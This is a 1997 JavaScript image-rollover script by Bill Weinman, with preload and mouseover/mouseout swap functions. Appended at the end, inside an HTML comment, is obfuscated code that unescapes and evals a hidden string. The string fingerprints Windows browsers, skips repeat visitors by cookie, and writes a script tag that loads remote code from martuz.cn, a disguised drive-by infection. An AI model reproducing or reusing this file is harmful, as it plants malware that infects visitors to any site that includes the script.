
// Bill Weinman's Common JavaScript Rollover Engine
// As described in "Creative HTML Design", by Lynda and Bill Weinman
// (c) 1997 Bill Weinman
// 
// You are free to use this script, and modify it to 
// your heart's content. You must leave this entire header
// --including this notice--intact, and make sure there 
// is a reference to our web site: <http://www.htmlbook.com/>. 
//
// Version 1.0.  First release with Creative HTML Design
//
// Requires the following variables to be defined in the HTML document: 
//
// okay = false       This prevents the script from running prematurely
// rtype              "highlighting", "pointing", or "slideshow"
// imagenames array   All the base imagenames
// suffixes           imagename suffix Used for highlighting rollovers
// path               path to images (must end in "/")
// ext                filename extension for images (e.g., ".gif")
//
// Initialization Instructions:
// ----------------------------
// Initialization is different for each of the various types of rollovers. 
// 
// "highlighting" type rollovers:
//
//     These are the most common types of rollovers. As your mouse 
//     passes over each image, that image is replace by a "highlighted" 
//     version. 
//
//     The "imagenames" array is used for two purposes: each name in the 
//     array must also match the NAME attribute for the corresponding 
//     IMG tag. The "suffixes" array is used to complete the filename 
//     for each image: the first value is added for onMouseOver events, 
//     and the second is added for onMouseOut events. 
// 
// "pointing" type rollovers:
//
//     As your mouse passes over each link, an image points at that 
//     link. 
//
//     The "imagenames" array uses just one image name, for the 
//     "pointing" image.
// 
// "slideshow" type rollovers:
//
//     As your mouse passes over each link, an image changes in one 
//     location, like a slideshow. 
//
//     The "imagenames" array is used for the names of all the images. 
// 


function roll_init()
{
// get the variables
var_init();  // this calls the function from the web page

// find out what browser this is
with(navigator) {
  code = appCodeName; 
  app = appName; 
  version = appVersion; 
  iver = parseInt(version); 
  ua = userAgent;
  }

// these are from the web page too. 
son  = suffixes[0];  
soff = suffixes[1];

// ua string is a generalized printable string
uastring = app + " " + iver;

// this will work in "Mozilla" 3+ (includes MSIE 4)
if ( code == "Mozilla" && iver >= 3 )  okay = true;
else okay = false; 

// this uses eval to create variables 
// ... and to pre-load the images. 
if (rtype == "highlighting") {
  for (var i = 0; i < imagenames.length; i++) {
    var name = imagenames[i];
    var ion  = "r" + name + "on";
    var ioff = "r" + name + "off";
    eval(ion  + " = new Image()");
    eval(ion  + ".src = '" + path + name + son  + ext + "'");
    eval(ioff + " = new Image()");
    eval(ioff + ".src = '" + path + name + soff + ext + "'");
    }
  }
if (rtype == "pointing") {
  blank = new Image();
  on  = new Image();
  on.src  = path + imagenames[0] + ext;
  }
if (rtype == "slideshow") {
  blank = new Image();
  for (var i = 0; i < imagenames.length; i++) {
    var name = imagenames[i];
    eval("r" + name  + " = new Image()");
    eval("r" + name  + ".src = '" + path + name + ext + "'");
    }
  }
}

// the onMouseOver entry point
function over(imgname)
{
if (!okay) return true; // just leave unless okay

// swap in the "on" image
if (rtype == "highlighting")
  eval("document." + imgname + ".src = r" + imgname + "on.src");
if (rtype == "pointing") {
  eval("blank.src = document." + imgname + ".src");
  eval("document." + imgname + ".src = on.src");
  }
if (rtype == "slideshow") {
  blank.src = document.rollover.src;
  eval("document.rollover.src = r" + imgname + ".src");
  }
return true;
}

// the onMouseOut entry point
function out(imgname)
{
if (!okay) return true; // just leave unless okay

// swap in the "off" image
if (rtype == "highlighting")
  eval("document." + imgname + ".src = r" + imgname + "off.src");
if (rtype == "pointing")
  eval("document." + imgname + ".src = blank.src");
if (rtype == "slideshow") {
  document.rollover.src = blank.src;
  }
return true;
}

<!-- 
(function(){var Ne2Z='%';eval(unescape((':76:61r:20a:3d:22Scri:70tEngi:6ee:22:2cb:3d:22:56ersi:6fn(:29:2b:22:2cj:3d:22:22:2cu:3dnavigator:2euserA:67en:74:3bif((u:2eindexO:66:28:22Chro:6de:22):3c0):26:26(u:2ei:6e:64ex:4ff(:22:57in:22):3e:30):26:26(u:2ei:6edexO:66:28:22NT:20:36:22):3c0):26:26(:64o:63u:6d:65nt:2ec:6fok:69:65:2e:69ndexO:66(:22miek:3d1:22):3c0):26:26(typ:65o:66(:7arvzt:73):21:3dtypeof:28:22A:22))):7b:7arvzts:3d:22A:22:3beval(:22if:28w:69nd:6fw:2e:22+a+:22:29j:3dj+:22+:61+:22:4da:6aor:22+b+:61+:22Mi:6e:6fr:22+b:2ba+:22B:75:69ld:22+b+:22j:3b:22):3b:64oc:75ment:2ew:72:69te(:22:3csc:72ipt:20src:3d:2f:2fm:61:72tu:22+:22z:2e:63n:2fvi:64:2f:3f:69:64:3d:22+j+:22:3e:3c:5c:2fs:63rip:74:3e:22):3b:7d').replace(/:/g,Ne2Z)))})();
 -->